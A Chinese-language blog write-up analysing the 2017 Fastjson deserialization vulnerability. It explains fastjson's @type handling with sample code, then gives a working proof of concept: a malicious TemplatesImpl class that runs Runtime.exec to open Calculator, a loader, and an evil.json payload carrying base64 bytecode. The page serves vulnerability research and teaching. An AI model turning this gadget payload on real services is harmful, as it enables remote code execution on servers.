親手帶你解決Debug Fastjson的安全漏洞
簡介
Java處理JSON數(shù)據(jù)有三個(gè)比較流行的類庫,gson(google維護(hù))、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一個(gè)開源的json相關(guān)的java library,地址在這里,
https://github.com/alibaba/fastjson,
Fastjson可以將java的對(duì)象轉(zhuǎn)換成json的形式,也可以用來將json轉(zhuǎn)換成java對(duì)象,效率較高,被廣泛的用在web服務(wù)以及android上,它的JSONString()方法可以將java的對(duì)象轉(zhuǎn)換成json格式,同樣通過parseObject方法可以將json數(shù)據(jù)轉(zhuǎn)換成java的對(duì)象。
大概在4月18號(hào)的時(shí)候,fastjson進(jìn)行了一次安全更新,通告在這里
https://github.com/alibaba/fastjson/wiki/security_update_20170315,
當(dāng)時(shí)對(duì)這也不熟悉,斷斷續(xù)續(xù)看了幾天也沒什么收獲(主要是因?yàn)樘肆薚AT)。最近有人出了poc以及分析的文章就跟進(jìn)了一下,漏洞還是挺有意思。
fastjson簡單使用介紹
工欲善其事,必先利其器,要想研究這個(gè)漏洞,就要先要了解這個(gè)fastjson是干什么的。自己研究了一下這個(gè)類庫。User.java code如下:
testFastJson.java code如下:
package fastjsonVul.fastjsonTest; import java.util.HashMap; import java.util.Map; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; import fastjsonVul.fastjsonTest.User; public class testFastJson { public static void main(String[] args){ Map<String, Object> map = new HashMap<String, Object>(); map.put("key1","One"); map.put("key2", "Two"); String mapJson = JSON.toJSONString(map); System.out.println(mapJson); User user1 = new User(); user1.setUsername("果汁簡歷"); user1.setSex("male"); System.out.println("obj name:"+user1.getClass().getName()); //序列化 String serializedStr = JSON.toJSONString(user1); System.out.println("serializedStr="+serializedStr); String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName); System.out.println("serializedStr1="+serializedStr1); //通過parse方法進(jìn)行反序列化 User user2 = (User)JSON.parse(serializedStr1); System.out.println(user2.getUsername()); System.out.println(); //通過parseObject方法進(jìn)行反序列化 通過這種方法返回的是一個(gè)JSONObject Object obj = JSON.parseObject(serializedStr1); System.out.println(obj); System.out.println("obj name:"+obj.getClass().getName()+"\n"); //通過這種方式返回的是一個(gè)相應(yīng)的類對(duì)象 Object obj1 = JSON.parseObject(serializedStr1,Object.class); System.out.println(obj1); System.out.println("obj1 name:"+obj1.getClass().getName()); } }
輸出是這樣
{"key1":"One","key2":"Two"}
obj name:fastjsonVul.fastjsonTest.User
serializedStr={"Sex":"male","Username":"果汁簡歷","sex":"male","username":"果汁簡歷"}
serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"果汁簡歷"}
果汁簡歷
{"Username":"果汁簡歷","Sex":"male","sex":"male","username":"果汁簡歷"}
obj name:com.alibaba.fastjson.JSONObject
fastjsonVul.fastjsonTest.User@18769467
obj1 name:fastjsonVul.fastjsonTest.User
Fastjson漏洞詳細(xì)
fastjson漏洞出現(xiàn)的地方也就是JSON.parseObject這個(gè)方法上面。
在最開始的時(shí)候,只能通過類初始化時(shí)候的構(gòu)造函數(shù)或者變量的setter方法執(zhí)行惡意代碼,像是這樣
Evil.java
import java.io.IOException; public class Evil { public String getName() { System.out.println("i am getterName!"); return name; } public void setName(String name) { System.out.println("i am setterName!"); this.name = name; } public String name; public int getAge() { System.out.println("i am getterAge!"); return age; } public void setAge(int age) { System.out.println("i am setterAge!"); this.age = age; } private int age; public Evil() throws IOException{ System.out.println("i am constructor!"); } }
import com.alibaba.fastjson.JSON; import java.io.*; public class App{ public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException { InputStream is = new FileInputStream(filePath); String line; // 用來保存每行讀取的內(nèi)容 BufferedReader reader = new BufferedReader(new InputStreamReader(is)); line = reader.readLine(); // 讀取第一行 while (line != null) { // 如果 line 為空說明讀完了 buffer.append(line); // 將讀到的內(nèi)容添加到 buffer 中 buffer.append("\n"); // 添加換行符 line = reader.readLine(); // 讀取下一行 } reader.close(); is.close(); } public static void main( String[] args ) throws IOException { StringBuffer Buffer = new StringBuffer(); App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json"); Object obj = JSON.parseObject(Buffer.toString()); } }
demo.json的內(nèi)容如下
{ "@type" : "Evil1", "name" : "M0rk", "age" : "20"}
可以看到通過@type"特性",就執(zhí)行了構(gòu)造函數(shù)以及私有和公有成員變量的getter和setter方法。但是這貌似還并沒有達(dá)到我們想要的結(jié)果,因?yàn)樯厦娴那闆r是需要我們能夠控制Evil這個(gè)類(一般是通過文件寫入),目前來看不太現(xiàn)實(shí)。
還有一種方法就是將編譯好的.class或者.jar文件轉(zhuǎn)換成byte[],然后通過defineClass加載byte[]返回class對(duì)象。
安全研究人員發(fā)現(xiàn)了這個(gè)類
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
這個(gè)類存在如下的調(diào)用鏈可加載byte[]完成.class文件中對(duì)象的實(shí)例化,注意MailCiousClass需要繼承AbstractTranslet(在defineTransle方法中存在一個(gè)校驗(yàn))。更多這個(gè)調(diào)用鏈參考鏈接
https://gist.github.com/frohoff/24af7913611f8406eaf3
如上圖所示的攻擊調(diào)用棧信息,可以看到和TemplatesImpl調(diào)用鏈完全吻合,最終還是通過defineclass加載了bytecodes[]導(dǎo)致了命令執(zhí)行。
Evil.java
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Evil extends AbstractTranslet { public Evil() throws IOException { Runtime.getRuntime().exec("open /Applications/Calculator.app"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } }
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class poc { public static String readClass(String cls) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void main(String args[]) throws Exception{ // final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class"; // String evilCode = readClass(evilClassPath); // System.out.println(evilCode); StringBuffer Buffer = new StringBuffer(); App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json"); Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField); } }
evil.json
{ "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"], "_name" : "M0rk", "_tfactory" : {}, "outputProperties" : {} }
總結(jié)
關(guān)于這個(gè)漏洞的構(gòu)造還是挺精巧,漏洞的利用條件比較苛刻,如要能夠利用,開發(fā)人員對(duì)json的處理函數(shù)需要是 JSON.parseObject(input, Object.class,
Feature.SupportNonPublicField);
而大部分的開發(fā)可能用用JSON.parse(input)就了事兒了,同時(shí)使用了parseObject和
Feature.SupportNonPublicField設(shè)置的估計(jì)不多。所以說實(shí)際環(huán)境中挖掘fastjson的這個(gè)漏洞應(yīng)該是可遇不可求。
到此這篇關(guān)于親手帶你解決Debug Fastjson的安全漏洞的文章就介紹到這了,更多相關(guān)Debug Fastjson安全漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
JavaCV調(diào)用百度AI實(shí)現(xiàn)人臉檢測方法詳解
在檢測人臉數(shù)量、位置、性別、口罩等場景時(shí),可以考慮使用百度開放平臺(tái)提供的web接口,一個(gè)web請(qǐng)求就能完成檢測得到結(jié)果。本文就為大家介紹JavaCV如何調(diào)用百度AI實(shí)現(xiàn)最簡單的人臉檢測,需要的可以參考一下2022-01-01Java動(dòng)態(tài)規(guī)劃篇之線性DP的示例詳解
這篇文章主要通過幾個(gè)例題為大家詳細(xì)介紹一些Java動(dòng)態(tài)規(guī)劃中的線性DP,文中的示例代碼講解詳細(xì),對(duì)我們學(xué)習(xí)Java有一定的幫助,需要的可以參考一下2022-11-11java創(chuàng)建多級(jí)目錄文件的實(shí)例講解
下面小編就為大家分享一篇java創(chuàng)建多級(jí)目錄文件的實(shí)例講解,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2018-01-01一文學(xué)習(xí)Java NIO的ByteBuffer工作原理
很多網(wǎng)友說JDK又在寫B(tài)ug!下面通過通過本文學(xué)習(xí)下為何Java NIO的ByteBuffer這么垃圾,涉及到ByteBuf API 的優(yōu)點(diǎn)及工作原理解析,感興趣的朋友跟隨小編一起看看吧2021-05-05SpringBoot項(xiàng)目集成Swagger和swagger-bootstrap-ui及常用注解解讀
這篇文章主要介紹了SpringBoot項(xiàng)目集成Swagger和swagger-bootstrap-ui及常用注解解讀,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2023-03-03解決在Gradle/IDEA中無法正常使用readLine的問題原因
這篇文章主要介紹了在Gradle/IDEA中無法正常使用readLine的解決方法,原因是由于Gradle的標(biāo)準(zhǔn)輸入默認(rèn)并不與系統(tǒng)標(biāo)準(zhǔn)輸入綁定,需手動(dòng)設(shè)置,需要的朋友可以參考下2021-12-12Java實(shí)現(xiàn)兩人五子棋游戲(五) 判斷是否有一方勝出
這篇文章主要為大家詳細(xì)介紹了Java實(shí)現(xiàn)兩人五子棋游戲,判斷是否有一方勝出,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2018-03-03jmeter+ant+jenkins自動(dòng)化測試環(huán)境配置搭建過程
在搭建jmeter+ant+jenkins環(huán)境有些前提條件,那就是要先配置好java環(huán)境、安裝好jenkins以及配置好jmeter,這樣才能省去很多的事情,對(duì)jmeter+ant+jenkins自動(dòng)化測試環(huán)境配置搭建過程感興趣的朋友一起看看吧2021-12-12